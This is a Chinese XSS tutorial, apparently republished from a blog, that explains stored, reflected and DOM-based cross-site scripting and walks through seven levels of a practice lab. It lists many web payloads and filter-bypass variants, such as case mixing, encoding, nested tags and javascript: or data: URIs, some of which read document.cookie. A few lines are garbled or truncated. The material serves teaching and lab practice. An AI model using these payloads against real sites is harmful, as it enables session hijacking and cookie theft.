欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 名人名企 > XSS漏洞原理分类标签及关卡

XSS漏洞原理分类标签及关卡

2025/5/2 3:10:53 来源:https://blog.csdn.net/m0_75167824/article/details/146428782  浏览:    关键词:XSS漏洞原理分类标签及关卡

XSS漏洞原理分类标签及关卡

一、XSS漏洞原理

XSS(跨站脚本攻击)的本质是攻击者通过Web应用程序的输入验证漏洞,将恶意脚本代码注入到页面中,当用户访问该页面时,浏览器解析并执行恶意代码,从而实现攻击目的‌。

核心原理

‌输入未过滤‌:应用程序未对用户输入(如URL参数、表单字段、评论内容)进行严格过滤或转义,允许插入HTML、JavaScript等代码‌。

恶意代码执行‌:注入的脚本随页面返回到用户浏览器,被解析为合法代码执行,如窃取Cookie、劫持会话、重定向到钓鱼页面等‌。

‌触发条件‌:恶意代码的传播依赖于用户与页面的交互(如点击链接、加载存储内容)‌。

二、XSS漏洞全部分类

根据攻击方式与代码存储位置,XSS分为以下三类:

1. ‌存储型XSS(持久型)

特征:恶意脚本被永久存储在服务器(如数据库、文件系统),用户访问包含该内容的页面时触发‌。

攻击场景‌:常见于论坛评论、用户资料、商品详情页等可存储用户输入的模块‌。

危害:长期影响所有访问者,可导致蠕虫传播、大规模数据泄露‌。

2. ‌反射型XSS(非持久型)‌

特征‌:恶意脚本通过URL参数传递,服务器未存储直接返回给用户浏览器,需诱导用户主动点击恶意链接‌。

攻击场景‌:搜索框、错误提示页等动态生成内容的场景‌。

‌危害‌:常用于窃取用户会话Cookie或发起钓鱼攻击‌。

3. ‌DOM型XSS‌

特征‌:攻击利用前端JavaScript操作DOM时的漏洞,无需与服务器交互,恶意代码通过URL片段(#)或客户端脚本动态生成‌。

攻击场景‌:前端根据URL参数动态修改页面内容(如排序、筛选功能)‌。

危害:绕过服务端过滤,直接操控客户端逻辑,隐蔽性强‌。

三、标签
一、‌基础脚本标签

<script>标签‌

直接执行 JavaScript 代码:

<script>alert(1);</script>  
<script>alert("XSS");</script>  

适用场景:未过滤 script 标签的输入点

二、‌事件处理标签‌

<img> 标签‌

利用 onerror;事件触发:

<img src="x" οnerrοr=alert(1)>  
<img src=1 οnerrοr=eval("alert('XSS')")>  

特点:通过加载失败触发代码执行

<input> 标签‌

利用 onfocus、onblur ;等事件:

<input οnfοcus=alert(1) autofocus>  
<input οnmοuseοver=alert(1)>  

适用场景:输入框或用户交互元素

<svg> 标签‌

内联 SVG 触发 onload ;事件:

<svg/οnlοad=alert(document.domain)>  
<svg><script>alert(1)</script></svg>  

特点:HTML5 支持 SVG 内联,绕过部分过滤

<details> 标签‌

利用 ontoggle; 事件:

<details open οntοggle=alert(1)>  

适用场景:动态展开/收缩的交互组件

三、‌特殊 HTML 标签‌

<a> 标签(伪协议利用)

使用javascript:;伪协议:

<a href="javascript:alert(1)">Click</a>  

绕过技巧:依赖用户点击触发

<iframe> 标签‌

动态加载恶意内容:

<iframe src="javascript:alert(1)"></iframe>  
<iframe οnlοad=alert(document.cookie)></iframe>  

特点:嵌入外部资源或执行内联脚本

<audio> 标签

利用onerror; 事件:

<audio src=x οnerrοr=alert(1)></audio>  

适用场景:多媒体资源加载失败时触发

四、XSS标签变形绕过过滤
一、‌符号与语法变形

大小写混淆

混合大小写规避关键词检测:

<ImG sRc='x' OnErRor=alert(1)> 
<sCrIpT>alErT(1)</ScRiPt>  

空格绕过

用/、%0A(换行符)替代空格:

<img/src=x/οnerrοr=alert(1)>  
<a%0Ahref=javascript:alert(1)>Click</a>  

引号省略或替换

HTML属性中省略引号或使用反引号:

<img src=x οnerrοr=alert`1`>  
<a href=javascript:alert(1)>Link</a>  

二、‌编码与字符混淆

HTML实体编码

将关键字符转为实体编码:

<img src=x οnerrοr=alert(1)> 

Unicode/十六进制编码

使用Unicode或十六进制绕过过滤:

<svg/οnlοad=eval('\u0061\u006c\u0065\u0072\u0074(1)')>  
<img src=x οnerrοr=alert(1)> 

拆分与拼接

分段拼接代码或利用字符串操作:

<script>a='al';b='ert(1)';eval(a+b)</script>  
<img src=x οnerrοr="a=&#x61;lert; a(1)">    
三、‌标签嵌套与属性滥用

标签内嵌干扰字符

插入无效字符或注释破坏检测逻辑:

<scr<script>ipt>alert(1)</script>  
<img src=x/**/οnerrοr=alert(1)>   

非常用标签与事件属性

使用冷门标签(如<details>、<select>

)或非常用事件属性:

<details open οntοggle=alert(1)>  
<select autofocus οnfοcus=alert(1)></select> 

伪协议与特殊协议

利用javascript:或data:

协议触发脚本:

<a href=javascript:alert(document.domain)>Click</a>  src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></iframe>  

五、XSS关卡

1.第一关

构造Payload

url?name=<script>alert()</script>

成功

查看后端代码

2.第二关

构造Payload

">  <script>alert()</script>  <"

成功

查看后端代码

3.第三关

构造Payload

'> <script>alert()</script> <'

失败

尝试重新构造Payload

' οnfοcus=javascript:alert() '

成功

查看后端代码

联想截图_20250321202337

4.第四关

构造Payload

" οnfοcus=javascript:alert() "

成功

查看后端代码

联想截图_20250321202352

5.第五关

构造Payload

" οnfοcus=javascript:alert() "

失败

尝试重新构造Payload

"> <a href=javascript:alert()>xxx</a> <"

成功

查看后端代码

联想截图_20250321202407

6.第六关

构造Payload

"> <sCript>alert()</sCript> <"

成功

查看后端代码

联想截图_20250321202418

7.第七关

构造Payload

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

成功

查看后端代码

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词